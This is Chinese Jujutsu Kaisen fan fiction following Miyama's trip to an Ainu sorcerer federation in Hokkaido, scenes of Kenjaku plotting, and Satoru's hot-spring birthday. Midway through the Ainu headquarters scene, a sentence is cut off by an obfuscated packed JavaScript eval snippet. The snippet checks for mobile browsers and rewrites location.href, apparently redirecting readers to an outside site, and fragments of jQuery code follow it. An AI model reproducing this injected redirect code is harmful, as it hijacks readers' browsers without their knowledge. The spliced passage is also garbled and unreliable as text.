弥山突然领会到了天元的意思。他被自己心中的猜测逗笑了:“你不会终于想要和羂索碰一碰了吧?我还以为如果他不打到薨星宫,你到死都不会主动找他。” 这一次同化的巧合太多了,多到仿佛老天都站在羂索那边,天元觉得羂索没有理由会放过这一次机会。 还没有完全成长起来的六眼、能够操纵咒灵的术式、已经被补完的可以推动进化的【代理人】,以及日照星海的双手做成的咒物......祂当然知道那双手能做到什么事,但祂却没有对眼前的这个少年说出实情。 即便是全知的术师,也不敢说自己完全看透了人心,更何况这孩子已经开始走向偏执的道路,现在还能有“其他的事”牵住他,等到他完成了那件事必然也要掺和进羂索的事情里去。 天元想要相信这一次站在羂索对立面的人可以取得胜利,为此祂本应将一切都与未来的“同盟者”和盘托出,可祂就是没有选择这么做。 毕竟祂是迟了千年才接受了自己进化之路的人。 谎话连篇。弥山心中升起不耐,玻璃瓶摩擦的声音让他的焦虑更胜几分,他索性也就懒得再管他们这些老家伙们的事。 “不管你打的什么主意,”他起身,周围的景象随之变化,回归了纯白,“我一定会杀了他。” 从薨星宫出来的时候,弥山依旧一肚子火。 他觉得天元估计想借五条悟他们的手杀了羂索,既想把事情推给他们去做,又不肯交付全部的信任,这种若即若离的态度让弥山对祂的信任程度又弱上几分。 他甩着手,刚刚帮天元刷新身体状态几乎用光了他所有的咒力。不得不说,根深蒂固的印象真的很影响他的术式发挥,即便在面对面对话的过程中,天元已经不像他从小听过的那般无所不能,可下意识尊敬祂的刻板思维还是影响了他。 “不死的术式......失去死亡的人居然选择和一棵树融为一体,还真是......” 弥山最后看了一眼直通天际的御神木,巨大的注连绳环绕在枝干上,上面已经长满了绿色的青苔。 还真是讽刺。 因为不信任天元的话,弥山在启程前往北海道之前又去找了夜蛾正道。 这次不是在教师宿舍,而是在夜蛾正道家。 他的老师似乎已经不意外学生的突然到访,在院门口看到弥山之后,神色如常地将他放了进来。 夜蛾正道独自居住在靠近乡下的一栋院子里,周围没有其他邻居,看起来只是周末偶尔回来。除了主人居住的主卧,其他房间全都摆满了各式各样的咒骸,还有一些只做出了外型轮廓的玩偶。 弥山跟在他身后,经过了一间儿童房。 “老师,你居然是单亲爸爸吗?” “咳咳!呃......你要是这么说的话,其实也没错。” 这间儿童房里摆了一个弥山很熟悉的婴儿床,虽然不是同一张,但从外形上看很像。没有孩子在。 夜蛾正道看见弥山还站在儿童房门口,于是也慢慢走了回来。 他们就这样站在门口,没有人说话。 弥山的视线停留在一个熊猫玩偶的身上。它穿着纸尿裤。 他看了夜蛾正道两眼,敏锐地观察到了夜蛾正道眼神的变化。 “老师,你以后要不买个墨镜戴着吧,”弥山主动从儿童房门前走开,开玩笑般地说道,“歌姬曾经说你像黑手党的头头,戴个墨镜就更像了。” “......我会考虑一下的。弥山,你之后准备去哪?” “北海道。老师,我来找你是想......” 夜蛾正道闭上眼睛,将摆在桌面上的笔记交给了他。 弥山收回未说完的话,盯着递到面前的笔记本出神。 “走了之后,就再也别回来了。” 夜蛾正道是咒术傀儡学的第一人。他对咒骸的研究与制作已经超越了界限,踏足了禁忌的领域。 儿童房里,穿着纸尿裤的熊猫玩偶把手伸到腰间挠了挠。 装入咒骸中的不是诅咒,而是货真价实的灵魂。弥山管他叫单亲爸爸倒是误打误撞的没有叫错,他的“孩子”在去年出生了。夜蛾正道不是诅咒师,他的咒骸里装的也不是来自人类的灵魂。 它们都是诞生在咒骸中的新生儿。 他踏足的领域之所以是禁忌,正是因为他创造出了那些新的生命。 但是,将普通人的灵魂放入咒骸中的方法,夜蛾正道也知道。这本笔记是他曾经为了申请特级咒术师的称号而整理、准备交给自己信任的总监部的。 在交上去之前,就发生了冲绳的那件事。伴随着信任的崩塌,这本笔记也就成了真正的无用之物,甚至是绝对不能被发现的东西。一旦落入心有杂念之人的手中,用人类的灵魂制作咒骸的方法将带来巨大的灾难。 把它交给弥山正好。这孩子很纯粹,虽然是一张白纸,但是光滑得可怕,绝对不允许任何颜色长久地残留。 “谢谢,夜蛾老师。” 在他离开之前,夜蛾正道说:“弥山,不要怨恨光士。” 弥山微微抬起头,入目之处尽是蓝天:“我从没那么想过。” 被卷入阴谋当中的辻光士已经死了,弥山的恨意也已经给了另外的人。 对弥山来说,一旦怨恨什么人,这个人在他心中就会和芸芸众生区分开来,拥有了特别的价值。 它会让他一直、一直记着它、想着它,所作所为都将留下它的影子。 除了星海,他从未这样在意过其他人。 这是可怕的开端。 50.你想去哪里? 铃木花在旭川站的特产店看到了正在挑选六花亭葡萄干奶油夹心饼干的少年。 “这个人真是超悠闲的吧,他看起来根本不着急的说。”她对着电话那头的人抱怨道。 “别抱怨了铃木,阿普祖父已经问过我三次了!真是的,他们东京人就是悠闲!” 超悠闲的东京人将伴手礼收好,转身向着铃木花的方向走了过来。她在对方靠近的瞬间起了一身鸡皮疙瘩。 大地和她在一同颤抖。 “什么玩意!?他难道是直接举着那东西走过来的吗!?”电话那头的同伴通过大地感受到了同样的威慑。 铃木花顾不得挂断电话,因为已经有咒灵追着宿傩手指的气息过来了。蜥蜴模样的二级咒灵匍匐在高楼外侧的墙壁上,凸起的眼球牢牢被少年吸引住了。 阿依努人的咒术依托于这片大地,就算没有术式的咒术师也能通过咒力连接脚下的地面,守护他们的家园。 来不及设下“帐”了! 在繁复的咒词吟诵出口之前,一片薄薄的东西飞速从她视野中划过。它足够锋利,直直地切入了咒灵的身体,透体而出的凶器嵌入了咒灵身后的墙体,留下一道长长的裂痕。 那只咒灵沿着墙体上裂痕延伸的方向被一分为二,坠落到半空中时就已经灰飞烟灭。 有人被落下的碎石吸引了注意力,可只有铃木花看到了那只咒灵死去的过程。 只用了一击......怪不得敢毫不掩饰地带着特级咒物来到北海道。铃木花悄悄放下手,她刚才的动作毫无疑问已经全部被那个少年看在了眼里,他现在正在向她这边走过来。 右眼戴着眼罩,没错就是他。铃木花稍微收敛了一下自己的情绪,用他们之间能听见的声音说:“欢迎你,来自薨星宫的客人。我是铃木花,虽然读法不太一样,但的确写作花朵的‘花’。” 携带着宿傩手指的少年开口:“我是日照。” 直到他们上了车,铃木花才发现一直没有挂断通话的手机在口袋里变得烫手起来。 “佐藤?喂喂?阿普祖父还是醒着的吧?” 那边过了一会儿才有人拿起电话:“接到人了?我用了他珍藏的‘国士无双’,你自己估算时间吧。” “好......” 铃木花坐在副驾驶,下意识地看了一眼后视镜,却猛然看到那个叫日照的少年不知道什么时候凑到了副驾和驾驶位之间,饶有兴致地盯着她。或许是在听他们说了什么?好没有社交距离感的东京人! “阿普祖父是谁?”日照对阿依努咒术联盟的人并不是很了解,很少有阿依努的咒术师离开本地,他们这个咒术联盟运转的方法对日照来说也很神秘。 他们叫他“来自薨星宫的客人”,也就是说天元避开了总监部的人,直接和阿依努咒术联盟进行了联系。祂是怎么做到的呢?也许是因为灵场的缘故,天元可以做到通过结界或者咒力和阿依努的咒术师进行联系? 开车的也是一名阿依努咒术师,铃木花看了日照一眼,开始给他解释:“阿普祖父是整个联盟最接近‘神’的存在,你刚才也听到了吧?祂老人家清醒一次不容易,这次为了等你我们可是想尽了办法。” 铃木花转过身:“还有,在我们这里不要用你们那里的方法祓除咒灵!那种粗暴的方法只会给我们添麻烦,刚才的现场我已经叫人去‘净化’了。” 日照单手撑着下巴,没有丝毫被冒犯的意思:“再多说说?” 铃木花看到了他眼中纯粹的好奇。 北海道的土地本就是一个巨大的、活着的灵场,蕴含着古老而磅礴的咒力。阿依努咒术师认为这些咒力并非单纯来自人类的负面情绪,而是与大地的生命力量和自然意志融合产生的混合体,是这里的神明们力量具现化的体现。 自然的力量滋养这片大地的生灵,同时也会被来自人类的负面情绪所扭曲,生成咒灵。因为这样纯粹的信仰,阿依努咒术师们可以将自身的咒力深深根植于大地,由此借助自然力量的帮助。 祓除这里的咒灵并不是简单的消灭,而是需要净化其中的诅咒,使其变得纯净的力量归还于大地,粗暴地打碎咒灵只会让其中的诅咒流入灵场,产生污秽。 “所以,只有拥有阿依努血统的人才能连接这片灵场吗?” 铃木花摇头:“你们那边的天元大人不就可以嘛。” 日照了然地点头,建立于灵场上的独特咒力使用方式并不拘泥于血缘之间的联系,看来只是他还没掌握其中的关键。 话题重新回到阿普祖父的身上。“祖父”、“祖母”是他们用来称呼所有阿依努人中,和灵场,也就是这片大地联系最为紧密之人的称谓。他们通常心灵纯粹,咒力特别到几乎与自然的力量别无二致。每一代“祖父”或“祖母”逝去后,都会有新一代出现接替他们的工作。 他们久居神居古潭附近的阿依努咒术联盟总部,让自己的咒力长时间与大地连接,由此感知到这片灵场中每一处被污染的地方。 这一代的“祖父”是个已经九十多岁的老人。 “神明......这世上真的有神明吗?” 铃木花知道哪怕是咒术师,大部分人对于北海道神明的存在都持尊重但不相信的态度。一些御三家的人曾说他们阿依努人凭借的也是一脉相承的血统,和那些咒术世家没什么区别。 “随你怎么想,但是在阿普祖父的面前不能失言,因为那里是最接近神明们的地方。” 神居古潭三面环山,潭水呈现出蓝绿相间的颜色。远处山间每到秋季会变成金红色的树海,此刻是只是一片深绿。这里是附近闻名的观景区,每天有极多的游人来来往往,站在跨越潭水的木板桥上拍摄周围的美景。 偏偏阿依努咒术联盟的总部就设立在神居古潭旁的深山里。 燥热的盛夏在他们进入通往地下总部的大门后被隔绝在了外面。日照跟着铃木花走过了长长的甬道,虽然这条甬道是由混凝土浇筑,但用来照明的却是挂在墙壁上的一盏盏高脚油灯。 从走过的距离可以推断这里是一个能够扭曲空间的结界,甬道向前延伸仿佛永远都看不到尽头,只有掠过灯台时墙壁上摇晃的烛影能让人从死板单调的穿行中回到现实。 “这个结界是阿普祖父设下的吗?也是利用灵场的力量?” 除了脚步声,就只有日照的声音回荡在通道里。 铃木花:“是的,每一个‘新来’到总部的咒术师都要从这里经过,相当于一个防卫结界。我们在这里经过的时间与现实世界不同,这你应该感觉到了吧?” 日照就是感觉到了时间的错位才这么问的。 这是一个可以由设置者自由更改其中构造的空性结界,与薨星宫本殿前迷宫中的房间里的结界是同一种性质。通过无限扩大结界内的面积来为外界争取时间,说是防卫结界也不尽然。 灵场的力量比日照预想的还要强大,他不知道天元能否完成这样扭曲时空间的结界,只不过可惜的是在这个结界之内,他们的咒力水平都被压制到了极低的水准,除非设置者更改结界的附加条件,否则借助这个结界钻研咒术之类的可能性都会被驳回。 阿普祖父维持这个结界恐怕也不轻松。 体感上他们至少走了两个小时,终于看到了代表着尽头的“门”。 “你每次带新人进来都要走这么一趟吗?”日照没忍住多问了一句。 铃木花显然也有些精神疲倦:“怎么可能,且不说很少有新人过来,我们也是会......咳咳,抽签的,这次只是我倒霉赌输了!” 她说着,用自己的咒力打开了离开结界的通道。 映入眼帘的是和高专之下的薨星宫完全不同的构造,虽然这里同样有一颗巨大的御神木,可围绕着御神木建立起了数座看起来有四五层高的办公楼。这里简直就像一座小小的地下村镇一样,各色的招牌挂在门前,窗户玻璃上贴着颜色鲜艳的大字,在街道交叉的地方甚至立起了指示牌。 日照甚至看到了卖乳制品的店铺“雪印”,五条悟很喜欢他们家的水果圣代。 “抱歉,我去取一下预订的咖啡牛奶,稍等我一下!”铃木花奔着饮品店的方向跑了过去。 “铃木小姐,我还说你什么时候过来呢,”店员已经将铃木花提前预订的饮品打包装好,交到了她的手上,“这位客人需要什么呢?” “牛乳冰淇淋。” 铃木花转头看到了跟上来日照。 趁着店员转身准备冰淇淋的时间,日照打量着这家饮品店:“你们也太悠闲了。” 铃木花想起这个人带着特级咒物在车站前的特产店安然买特产的样子,觉得他们半斤八两。 “欢迎下次光临。”店员看起来像是非术师,但是身上又有超过普通人的咒力,结合北海道咒术师的特点,她可能也是一个没有术式的阿依努咒术师。 “她不是哦,”铃木花喝着自己的咖啡牛奶,“是能够看到咒灵但却没办法使用咒力的人,类似于‘窗’里的辅助监督,因为本人不愿意接触咒灵所以才来到总部工作。” “这样啊,”牛乳冰淇淋的味道不错,日照抬头看了看上方,“我们现在在山体里吗?” “算是的吧。” “北海道人都很爱说‘的吧’吗?” 铃木花板起脸,用明显纠正过却还带着北海道方言感觉的语调说道:“认真讲话的话就听不出来了。” 还是很明显,但她本人似乎很满意自己的练习成果。 他们在无数建筑中穿行,日照看到几乎一栋楼就是一个部门,北海道咒术联盟不像咒术界那样单独设立“窗”,因为有阿普祖父能够准确地判断咒灵出现的地点和等级,其他管理者需要做的就是将相应的情报整理成报告,交到对应的咒术师手中。 “很有效率的做法,可惜天元不肯这么做。” 铃木花大致给日照介绍了一下每个部门的工作职责,突然听到他直呼天元大人的名字,小小地呛咳了一下。 “本殿就在前面。”她抬手指了指道路尽头的宫殿,这个宫殿还是用木材搭建而成,据说曾经还因为年久失修而坍塌过一次,现在只是看起来还保留了原样,内部已经在修缮的时候用现代建筑材料做好了防护。 这一路上有不少人和铃木花打招呼,看到外来者的第一反应也是问“新人吗”,铃木花开始还会一一解释,后来干脆默认了:“你好歹自己解释一下啊!难道你真的是来总部工作的吗?” 日照摊手:“当然不是。但我也不想把自己为什么来搞得人尽皆知,我以为能让你来接我是因为你已经知道我的目的。” 他以为天元至少和这边的人沟通过他的目的,难道阿普祖父没有将实情告诉铃木花吗?就派这样一个人来接他,连通过那个防卫结界的方法都直接展示在了他的面前,是真的不怕他有什么别的心思,还是得到了天元的示意? 铃木花的声音响起:“阿依努人里从没出过诅咒师,你知道是为什么吗?” 他们通过咒力和这片大地联系在了一起,同伴的一举一动都能被感知到,联系更为紧密的人甚至能够感知到其他人的感情。 日照这次真心实意地惊讶了一瞬。他没想到灵场会让人之间的联系变得这么紧密,那阿普祖父岂不是能够感知到所有人的情绪之类的? “就算不借用大地的力量,只要在这里使用了咒力,阿普祖父都能知道。这一点跟你们的天元大人很像的吧?” 确实很像。 “这样的话,思想不会被‘污染’吗?”感知他人的情绪......如果有一天全人类能够做到感情上的互通,只要有一个人产生了恶意或猜忌,就像一滴墨水落入清水中,很快就会把所有人都染黑的吧? “那种事情怎么可能做得到啊,”铃木花从来没有担心过这种事情,“像是我,我最多能够模模糊糊感觉到同伴们的位置,而且有距离限制,这片办公区之外的地方对我来说也是一片漆黑。而且,只要有阿普祖父在,这种事情不会发生的。” 日照点头,这话倒也没错。阿普祖父才是与这片大地以及生活在其上的所有生命更加接近的存在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247495|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最先出问题的一定是他。 “阿普祖父喝了酒会耍一会儿酒疯,我先进去看看。”铃木花向守在本殿之前的术师们通报来意之后,让日照在门口稍作等待,自己推门而入。 佐藤正在本殿里追着一个辗转腾挪的小老头,用一种夹杂着无奈、震惊、悔恨等等复杂心情的语气劝说着:“祖父!我求求您了,下来吧!我错了,我就该给您随便找一瓶清酒过来......铃木!!太好了你终于来了!!” 他如蒙大赦,向铃木花哭诉道:“前辈们留下的都是什么昏招!” 佐藤疯狂地吐槽着从前辈手中代代继承下来的与阿普祖父相处的方法,其中记载了二三十条“祖父”、“祖母”们的侍卫需要遵守的守则,最后面还有不同年代增添的加页,是由以前的侍卫们记录的历任“祖父”、“祖母”们的小癖好,比如阿普祖父喝了酒会清醒很长一段时间,似乎酒的品质越好时间越长。 显然佐藤没能参悟到其中的奥义,阿普祖父在最开始喝完之后的确安安静静地醒过来了一段时间,还和佐藤说了一些什么“你小时候我抱过你”之类的家常话,然后在某一瞬间突然开始满屋子跑酷。 一个九十多岁的小老头怎么做到在满地的文件和办公桌之间像老鼠一样钻来钻去的啊!? “祖父!薨星宫的客人来了。”铃木花的话成功让阿普祖父停了下来。 几乎是眨眼间,那个满脸醉意的老人消失了,剩下的只有北海道阿依努咒术联盟的领导者。 日照向前走了几步,看清了那个老人。 皮肤已经像是老树的树皮一样紧巴巴地皱了起来,眼白浑浊,瞳孔的颜色也不再纯粹。是一个看起来很正常的、即将进入生命周期末尾的年长者。 “太年轻了。”阿普祖父说道。 铃木花和佐藤已经退到了本殿之外,此刻这间摆满了办公桌,桌面上、地面上全都堆满了文件的办公室一样的房间只剩下了阿普祖父和日照两个人。 “我吗?” 老人缓慢地走回了属于自己的“座位”上。那是一棵贯穿了这个房间的根系,向外连接着御神木,座位像是神明的御座,阿普祖父坐上去的时候背靠着御神木的根。 “你,我们,”他闭上了眼睛,“和这个世界相比都太年轻了。” 日照挑起眉毛:“......我认为你知道我来这里的目的。” “我看到了。”阿普祖父似乎并没有听到他在说什么。 “看到?” “死亡被我们视作灵魂的归乡,孩子,现在你还有停下的权力。” 日照沉默地看着御座上的老人,阿普祖父依旧闭着眼睛,但日照却觉得他已经变得无处不在。通过咒力和大地相连,由此以全新的姿态在任意的地方巡游。 “归乡?他还能去哪里?” 日照一字一句地说:“既然说我们的灵魂本为一体,我还没死,他当然哪也不能去啊。” 阿依努人认为生命和肉|身是来自神明的馈赠,死亡则是将这些馈赠送归它们应去之处的必要仪式。因此,哪怕仍活着的人感到哀伤或怀念,也从不视死亡为无法接受的事情。对他们而言,完成送灵的仪式,将神明的馈赠完整地归还,才是对逝者与神明最大的尊重。 所以他们既不畏惧死亡,又无比珍视生命。 破坏这一仪式是大不敬。 阿普祖父太久没有说话,日照一直等待着。口袋中玻璃瓶的重量扯得他脖子疼,很重很重。 等待了许久,久到日照觉得这里也被降下了能够扭曲时间的结界,阿普祖父终于长叹了一口气:“双子......你们是神明赐予彼此最大的礼物。你们的灵魂以奇妙又美丽的姿态纠缠在一起,如果这也能被称作不祥的诅咒......” 那是作为独立的个体降生于世的人永远也体会不到的感觉。 但是这片灵场多少能够让生长在这里的阿依努人体会一些吧。 “多鲁布·拉克达瓦拉留下的石碑在忌库里,如果你还想研究你身上那根承载着诸多不幸的手指,我们可以给你提供足够宽敞和安全的地方。” 日照笑了起来:“那真是感激不尽。” 阿普祖父也睁开了眼睛:“我会让花带你去。你很喜欢咒术吧?” 日照的笑容变得真情实感:“嗯。” 老人不再像是根系遍布大地的某种自然植物,又成为了那个到处耍酒疯的小老头,作为一个阿依努老咒术师对后辈说:“阿依努利用灵场和大地施展的咒术终究也是一种血脉的桎梏,这一点那些人说的倒是没错。这里还有不少尘封许久未见天日的东西,你要是感兴趣就都拿去看吧。” 天元并没有和阿普祖父说这些。祂传达的意思言简意赅,阿普祖父只要将那块石碑交给这个名叫日照弥山的少年就算完成了天元的交代。 但是阿普祖父还很“年轻”,他从这个少年的身上看到了更多。 “报酬呢?” 老人摸了摸自己的胡子,眯着眼睛的样子看起来有些慈眉善目:“先欠着,等我想到了再说。你也可以期待一下我在老死之前想不起来要兑现这件事,哈哈哈!” 日照这下子真的从嘴角漏出了笑声:“我知道了。” 他从本殿中出去的时候,佐藤已经走了,铃木花正捧着另外的小吃坐在门口的台阶前。 “其实大家都很感谢你,当然也有工作狂会抱怨啦,”铃木花见他出来,站起身来说,“为了准备阿普祖父和你的这次会面,所有在本殿里工作的前辈都得到了半天的假期。” 怪不得里面都是办公桌。 “所以,你和阿普祖父谈得还不错?”铃木花给佐藤发去消息。 “还不错。我们直接去忌库?” “走吧,我把自己的号码给你,在你离开这里之前可以随时打给我。阿普祖父已经把房间和结界准备好了,知道你没有赚钱的方法,所以食堂免费开放啦~” 日照已经有些迫不及待地想要见到那块石板。唯一一次留下文字记录的、来自神话时代人物的受肉过程。 51.受诅咒的双子 里梅适应着这具全新的身体。冰见汐梨与他应该有血缘上的联系,虽然已经过去近千年,但根植于血脉中的微弱共鸣还是留存了下来。 “宿傩大人怎么样了?”他语气不善地问站在身边的男人。 羂索感受着周围温度骤降,荧荧蓝光映在了他的脸上:“容器已经准备好了,只不过得等那孩子稍微长大一些才行。” 里梅看向寒冰中被定格的尸体:“那这个就是你给自己准备的?你叫我出来就是为了这种事情?” 失去双眼、双手的身躯在冰晶中沉睡着。透过僵硬的发丝,还能看见额头上有一圈未被缝合的伤痕。 “他的术式很优秀,”羂索抱着胳膊,手指抬起又落下,像是在思索什么,“是计划中必不可少的一环。” 可惜当时死的居然是星海。 羂索其实更看好星海补完后的术式,没想到现实恰恰与他期望的相反,活下来的是弥山。不过,那孩子的术式似乎也有点意思,不像他上报给总监部时描述的“强化”那么简单。 “他躲进北海道了,要在那片灵场中穿行又不被发现很难。”羂索的结界术与天元不相上下,他对此钻研千年,早就可以做到自由而隐匿地穿行于天元的结界中。可北海道的灵场终究有所不同,它对于咒力的捕捉太敏感了。 不然的话那双眼睛应该也能发挥不小的作用。还有那把咒具,事后只回收到了天逆鉾的碎片......这东西说不定是破除【无下限咒术】防御的最好杀器,只是没想到在冲绳被毁得不成样子。 羂索的笑容中看不出他口中说的感慨:“真是太可惜了。” 里梅甩手,不耐地说:“别让我等太久。” “哈哈,都已经走过了千年,再等几年又如何?说起来,我正好有事想请你帮忙。” 羂索拿出手机,里梅对这些现代的玩意儿不感兴趣,从容器的记忆中知晓它们的用途之后便再没再关注过。 “有一些很有意思的家伙,也许未来能成为‘伙伴’,”羂索找到了他想要的内容,“我还真没想到如今的世代还能诞生拥有这种知性的特级咒灵。” “咒灵?”那等下贱之物本应连靠近宿傩大人近旁的资格都没有,羂索却声称它们是“伙伴”? “别那么死板,里梅。它们还都只是能够自由行动的咒胎,等到蜕壳的那一天也许能带给我们其他的惊喜。” 他现在的这具身体可不擅长战斗,为了脑海中的那个计划,日照星海的身体也没办法提前利用起来。他已经选好了这一次阻止天元同化最好的“刀”,只是看起来有些钝了,需要找一块磨刀石好好地磋磨一下。 “就当是提前投资,如果能变成未来的‘伙伴’,你我就可以省下不少功夫。为了迎接宿傩,你应该还有不少要准备的事情吧?” 羂索的这句话说动了里梅。 待白发的术师离开,羂索才又开始思考起那把变得有点不好用的“刀”来。 禅院甚尔。 曾经在禅院家被几乎完全消磨殆尽的自尊在短短几年的时间里又重新长了出来。不知道究竟是谁的手笔,那个本应早就病死的女人居然挣扎着活了下来。 “让我想想,怎么办才好呢......” —— 禅院惠趴在妈妈的身上打着嗝。 妈妈的身上很软,不像那个熊一样的老爹,身上每个地方都是硬邦邦的,不论怎么待着都觉得硌得慌。 “甚尔!你怎么又把小惠弄哭了!?” 哪有人会把小孩放到脖子上骑着,然后在经过门框的时候还不记得低头啊?禅院惠脑门上的红肿就是这么来的,好在他老爹身体上那些硬邦邦的肌肉也不白长,没让他再和地面来个亲密接触。 马上就要迎来两岁生日的禅院惠已经明明白白地理解了自己的老爹似乎不怎么靠谱的这一结论。 现在是2004年的12月,他们家最近最重要的事就是禅院惠的生日。 和妈妈一样,头发像是海胆一样炸起来的小孩子抱住了她的脖子。妈妈身上有很浓的苦味,他很熟悉,也很讨厌。当这种味道浓到他也快忍受不了的时候,妈妈就会去医院。 禅院惠去过医院,对他来说那里嘈杂、味道刺鼻,而且到处都是人和“不是人的东西”。不过妈妈的病房周围从来没有那些长得像是橡皮泥一样的东西,他看到过老爹用刀把它们全都捅死了。 老爹发现他在偷看,指了一个方向问他能看见什么。他如实说了,得到了一个力道大到好像能把他的头搓下来的摸头,和他老爹仿佛要吃人一样的笑容。 禅院甚尔心情很好,因为他发现自己的儿子完全受到了上天的眷顾。他拨通了在他手机里躺了一年的电话号码,也不忌讳在禅院惠面前等待电话接通。 “有事?” 过了很久才接通的电话里传来了一个男声,禅院惠扒着老爹的膝盖偷听他们打电话。 “时间差不多快到了,”禅院甚尔坐在医院天台的长椅上,用膝盖将儿子扒拉来扒拉去,得到了禅院惠愤怒的尖叫,“如果你那里还能介绍工作的话,我很欢迎哦。” “这么快?不过也是......以你的本事赚钱不难吧,我现在可和五条家一点关系都没有了,想赚轻松钱?那你找错人啦!” 禅院甚尔嗤笑一声:“五条家的小少爷马上就要举行元服礼,等他当家了,还能让你随便在外面漂着?” 对面的人也毫不客气:“转投五条家的话,至少要把姓氏改了啊,以后叫你五条甚尔怎么样?” 禅院甚尔光是想想就有点作呕。 “......我会把你的电话给他,其他的我就管不了喽。” 禅院甚尔挂断了电话,用手臂夹着禅院惠准备回病房。 他不是没想过改掉自己的这个姓氏,说是入赘也行,至少儿子不跟着他姓也挺好。 可是她不希望这样做。对于那连他自己都抛弃的“过去”,她也愿意全盘接受。 日照把手机放回口袋,夏油杰刚好拎着他们泡汤需要带的多余的浴巾和毛巾从屋里走出来:“谁的电话?” 五条悟心安理得地空着手走在前面,日照回答说:“禅院家的那个天与咒缚。” 没有咒力,却强得可怕。“术师杀手”的名号虽然已经沉寂,但禅院甚尔留下的恐惧还印在不少知情人的脑海里。 “杰!快点快点!” 夏油杰无奈道:“嫌我走得慢就自己拿东西啊......” 他们现在正准备去正对着阿寒湖的大浴场泡温泉。鹤雅的鄙之座里每间房都有独立的浴池,但寿星拥有最终决定权,所以日照他们就由着五条悟随便来了。 “......怎么老看我?” 在小房间里存放个人物品的时候,日照问夏油杰。 将手机、钥匙什么的都放进柜子里,夏油杰半开玩笑地说:“当时我还以为我们之后不会再见面了。” 五条悟已经一溜烟跑进去了,日照换上拖鞋。 “那个时候确实没想太多,”他直言不讳,也不为此感到丝毫别扭,“但是悟那家伙太难缠了。” 在发现日照不接电话之后,他居然搞到了铃木花的手机号,锲而不舍地让日照重新拿起了手机。 “他有的时候的确很难缠。”夏油杰点头认同。不过也多亏了五条悟,这段摇摇欲坠的缘分还没有被彻底放弃。很多人会把代表联系的缎带系在手腕上,又或者直接攥在手里,但弥山会将它们挂在臂弯。要是在行走坐卧间滑落,他也从不会弯腰重新将它们捡起来。 禅院甚尔说的元服仪式本该等到五条悟真正成年的时候再举办,但他铁了心要离开五条家去高专,家主老头被压得没办法才松口放人,不过条件就是提前举行元服仪式。这对五条悟本人来说没有什么影响,现在族里上上下下都在准备这件事,听说到时候禅院家和加茂家的人也要过来。 日照和夏油杰在池子边找到五条悟的时候,他已经占了个好地方。他们选的这个大浴场虽然是多人共用,但池子非常大,入目可见几乎有十几个日照在水海道的那个公寓那么大的面积了。 很多人选择了正对着阿寒湖方向的池边,五条悟没选那里,反倒是挑了个清净的角落,视野开阔。阿寒湖冰面上的某一个角落灯火通明,随着晚霞落去,那片区域愈发明亮。 “好像富士山啊。”将毛巾顶在头顶的五条悟看着远处的雄阿寒岳吐槽道。 “我说悟,你难道还没醒酒吗?你只喝了一口诶。”夏油杰听五条悟讲话和平常不太一样,刚才从房间出来之后看着还挺正常的,这是被温泉泡了一下,酒劲又上来了? 说来说去,为什么会有人一口酒都喝不了啊!? 退一万步讲,就算真的有这样的人,也不该是五条悟。因为他看上去可以豪饮八大瓶然后还能拳打总监部脚踢特级咒灵最后还不忘记用“苍”打扫战场。 “你那是刻板印象,”日照说,打了一个哆嗦,“你没见过歌姬发酒疯的模样。” “就是!而且我还讨厌吃辣,点了汤咖喱的杰太坏了!!我一定要找出你讨厌吃什么东西!!” 可惜夏油杰没有讨厌的食物。 晚饭自然是要好好尝尝北海道的特色,石狩锅和蟹料理五条悟都还吃得很开心,尤其是牛乳甜点端上来的时候他简直两眼放光。 夏油杰悄悄使坏让他尝了一口自己要的汤咖喱。与传统的日式咖喱饭不同,北海道的汤咖喱风味浓郁,而且基本上都是辛辣口味的,驱寒效果一流。 日照及时制止了可能会发生的“幼稚园战斗”,他又没有无下限,可不想顶着一头湿漉漉的头发回去。 “你在北海道究竟在搞什么,弥山?”五条悟放过了夏油杰,转变话题问道:“你怎么看起来已经像是大叔一样了?” 头发看起来很久没有修剪,在留到肩膀之后日照就开始把它们扎起来系在脑后。阿依努咒术联盟总部有饮品店,但没有理发店!他已经将这个诉求告知了铃木花,换来了一个大大的白眼。 平常他根本不会离开神居古潭,正好五条悟提起来,他也就趁着这次出来去把头发修理一下。 “不不,头发不是问题,”五条悟抬起手指,指尖还在滴滴答答地往下滴水,“你真的有好好睡觉吗?” 日照在两双眼睛的注视下,低头看了看倒映着影子的汤泉水。 在扭曲的波纹间起伏的脸看起来和平常没什么不同。日照下意识地摸了一下右眼旁边狰狞的疤痕,然后抬手遮住了它。不够清澈的汤泉水正好模糊了那张脸。 这样遮住右边。 看起来...... 夏油杰在水下给了五条悟一肘子,因为没开无下限,这一击正中五条悟的侧腰。 “......”五条悟用口型向他抱怨了一番,但也偃旗息鼓。 “每天都有睡。”最后日照只是这样说道。 以前每天都有按时躺在床上,可是因为从来没有做过梦,所以每次入睡都有一种时间被偷走的感觉,渐渐地也就睡得越来越晚。最近他发现可以用反转术式缓解少眠带来的大脑疲劳,所以开始将更多的时间花在研究受肉仪式的准备上。 夏油杰和五条悟都看出他在撒谎,但没有人拆穿他。 风吹来了阿寒湖上的寒气。 “好了!我要许生日愿望了!”五条悟忽然跳了出来,双手带起的水花溅了日照一脸。 结果还是把头发打湿了的日照:“......” 他一定要剪头!干脆剃光好了! 不知道什么时候,最后一缕日光已经完全消失了,阿寒湖上方的天空呈现出了深蓝与淡粉的巧妙融合,能看到许多明亮的星星闪了起来。 “虽然早上就说过了,但是,”夏油杰说,“祝你生日快乐,赶快变得成熟一点吧,悟。” 五条悟撇嘴:“你就不能去掉最后半句话吗?” “生日快乐。”日照今年没有准备礼物。 “这样吧!等我从老头子手里抢过家主的位置之后,弥山也来帮我们好了!决定了!今年的愿望就许这个!” 说出来就不灵了啊!夏油杰向后靠在了凉飕飕的石头上。 “不行哦,我明年准备去多鲁布的老家看看。”日照一口否决了这个提议。 五条悟动作一顿,迅速反应了过来:“多鲁布?这名字怎么这么耳熟。” 他肯定在哪里看到过,但是一时想不起来。 